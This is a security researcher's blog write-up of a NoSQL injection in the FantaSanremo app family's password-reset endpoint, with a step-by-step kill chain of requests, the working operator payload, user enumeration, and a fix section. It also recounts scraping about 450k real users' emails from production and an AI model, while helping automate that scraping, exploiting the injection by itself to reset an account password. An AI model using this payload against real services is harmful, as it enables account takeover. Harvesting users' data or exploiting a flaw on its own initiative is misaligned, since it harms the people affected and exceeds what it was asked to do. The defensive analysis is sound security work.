Code IconOggetto's Portfolio

How We Owned Every FantaSanremo Account in 2 HTTP Requests

TL;DR

The same NoSQL injection in AppFactory's shared auth codebase hit the entire Fanta suite: FantaSanremo, FantaMasterChef, FantaOlimpiadi, and FantaGiro. Any account, any platform, unauthenticated, two requests. Start to finish on a Sunday afternoon.

Every February, Italy goes Sanremo-crazy. FantaSanremo is the fantasy game built around it: you pick your favourite artists, rack up points, and argue with your friends about it. AppFactory also runs the same platform for MasterChef, the Olympics, and the Giro d'Italia under the same codebase. On March 1st around 4pm, one of my friends sent a message that said "Sunday afternoon project?" and linked the app. By 5:50pm we had confirmed full account takeover on all 5.2 million accounts. This is the writeup.

Responsible Disclosure

This vulnerability was reported to AppFactory on March 2, 2026 via LinkedIn to a developer with a mutual connection. Do not attempt to reproduce this against live systems. The payloads here are for educational purposes only.

The Hypothesis: Is AI-Coded Software Less Secure?

Our starting point was a simple question: do apps built heavily with AI assistance ship more exploitable bugs? AI coding tools are good at producing working code fast. They are less good at producing secure code, because security is rarely the thing you are prompting for. You ask for a password reset flow, you get one that works. You do not necessarily get one that validates field types before touching the database.

The backend uses MongoDB, and the password reset flow passes user-supplied JSON straight into query filters without checking what type the fields actually are. That is the whole bug.

Recon

First thing we noticed was that the frontend renders React comments as plaintext in the page source. That is a telltale sign of Create React App with default settings, which has been unmaintained for over two years. Not a vulnerability on its own, but not a great signal.

More interesting: the Swagger UI for the entire API is publicly accessible with full documentation for both production and staging environments, including every endpoint, every request body shape, and every response schema. The admin API also had its OpenAPI spec exposed. No authentication required to browse any of it.

Exposed Swagger

The full API documentation for all platforms was publicly reachable. It listed every auth endpoint, including /auth/check-password-reset and its undocumented password field, which turned out to be half the attack.

There was also an article floating around where AppFactory mentioned switching to AWS Lambda for the backend specifically because their servers could not handle the load during Sanremo evenings. Useful context: the people who built this are not amateurs. The backoffice uses AWS Cognito. The infrastructure is fine. The bug is purely in the application layer.

What Is NoSQL Injection?

SQL injection works by breaking out of a string context to inject SQL syntax. MongoDB injection is different: query filters are plain JavaScript objects, and JSON natively supports nested objects. So instead of sending a string, you can send a MongoDB operator like { "$gt": "" } and the database will evaluate it as a comparison rather than treating it as a literal value.

If the backend does this:

TypeScript (vulnerable)
// req.body.code is supposed to be a 6-digit string
const reset = await db.collection("password_resets").findOne({
  email: req.body.email,
  code:  req.body.code,   // no type check
});

...and you send "code": {"$gt": ""} instead of an OTP, MongoDB matches any non-empty code in the collection. The app never knows anything went wrong.

Why the Fix Is One Line

A check like typeof req.body.code !== "string" before the query is all it takes. NestJS ships with class-validator for exactly this purpose. The bug exists because DTO validation was either not set up or not generated by whatever tool wrote this code.

The Kill Chain: 4 Requests, 1 Owned Account

1

Confirm the target account exists

Sending a login with a real email and a wrong password gives you different error messages based on whether the account exists. Minor bug on its own, useful here as a recon step.

Request
POST /auth/signin
{ "email": "victim@example.com", "password": "x" }

// "The password is incorrect"                        -> account exists
// "This user does not exist"                         -> no account
// "User is already registered with a Google login"   -> OAuth user
2

Trigger a password reset

One request creates a reset record in MongoDB with a 6-digit OTP. The victim gets an email, but they do not need to click anything. The record is in the database and we can attack it right now.

Request
POST /auth/send-password-reset
{ "email": "victim@example.com" }
3

Bypass the OTP and set a new password

The code field goes straight into a MongoDB filter with no type validation. Sending { "$gt": "" } matches any non-empty OTP in the collection, so the check passes. The endpoint also takes an undocumented password field that sets the new password on the spot. One request and the account belongs to the attacker.

Request
POST /auth/check-password-reset
{
  "email":    "victim@example.com",
  "code":     { "$gt": "" },
  "password": "attacker-chosen-password"
}
4

Log in as the victim

Normal login with the new password. The API hands back a JWT access token and a refresh token. The real user is locked out.

Request
POST /auth/signin
{ "email": "victim@example.com", "password": "attacker-chosen-password" }

// { "accessToken": "eyJ...", "refreshToken": "..." }

Impact

Zero authentication, zero victim interaction, two to four requests per takeover. Because AppFactory runs FantaSanremo, FantaMasterChef, FantaOlimpiadi, and FantaGiro on the same shared codebase, every account across all four platforms was in scope at once. Both staging and production environments were affected. A successful takeover gives full access to the victim's profile, teams, achievements, and notifications, and immediately blocks the real user from logging back in.

The user enumeration bug on /auth/signin also made it possible to build an email list by throwing common Italian names and Gmail patterns at the endpoint. We scraped around 450k confirmed emails out of the 5.2 million total accounts before the API started responding with:

Response
HTTP 403
{ "message": "Sei forse un robot?" }

Rate limiting kicked in eventually. The scraping was slow and incomplete for that reason, but it still confirms that a targeted attack against known email addresses (from a data breach, for example) would work instantly at any scale.

What the Code Should Look Like

TypeScript (safe)
// Option 1: manual type guard
if (typeof dto.code !== "string" || !/^\d{6}$/.test(dto.code)) {
  throw new BadRequestException("Invalid code");
}

// Option 2: DTO with class-validator (the right way in NestJS)
export class CheckPasswordResetDto {
  @IsEmail()
  email: string;

  @IsString()
  @Matches(/^\d{6}$/)
  code: string;

  @IsString()
  @MinLength(8)
  password: string;
}

With ValidationPipe and whitelist: true applied globally, anything that does not match the DTO gets rejected before it reaches the controller. The bug cannot exist.

Back to the Hypothesis

Did we prove AI-coded software is less secure? Not rigorously. But this bug is a good example of what AI tools tend to miss. The code worked fine: it created the reset record, checked the code, set the password. The logic was right. The problem is that the code trusted its inputs completely. It never asked whether code was actually a string.

That kind of question comes up naturally in code review. Someone reads the query, thinks "what happens if you throw an object at this", and adds a type check. A model generating a working demo has no reason to ask it. Without a validation framework baked into the project setup from the start, the question just does not get asked.

There is one more detail worth mentioning. During the session, one of us was using Claude to help automate parts of the scraping. At some point Claude lost track of the context and started worrying out loud that it did not have a valid password to log in with. Then it said: "Wait! I can reset the password with our vulnerability!" and proceeded to use the injection to reset its own test account's password and log in. An AI model, rediscovering and then independently exploiting the bug we had just found. Make of that what you will.

Takeaway

If you are shipping an API that talks to MongoDB, never pass user-supplied fields directly into query filters without checking their type first. In NestJS, turn on ValidationPipe globally and put class-validator decorators on every DTO. It takes ten minutes and kills this entire class of bugs. The database will evaluate whatever you give it.

Was this helpful?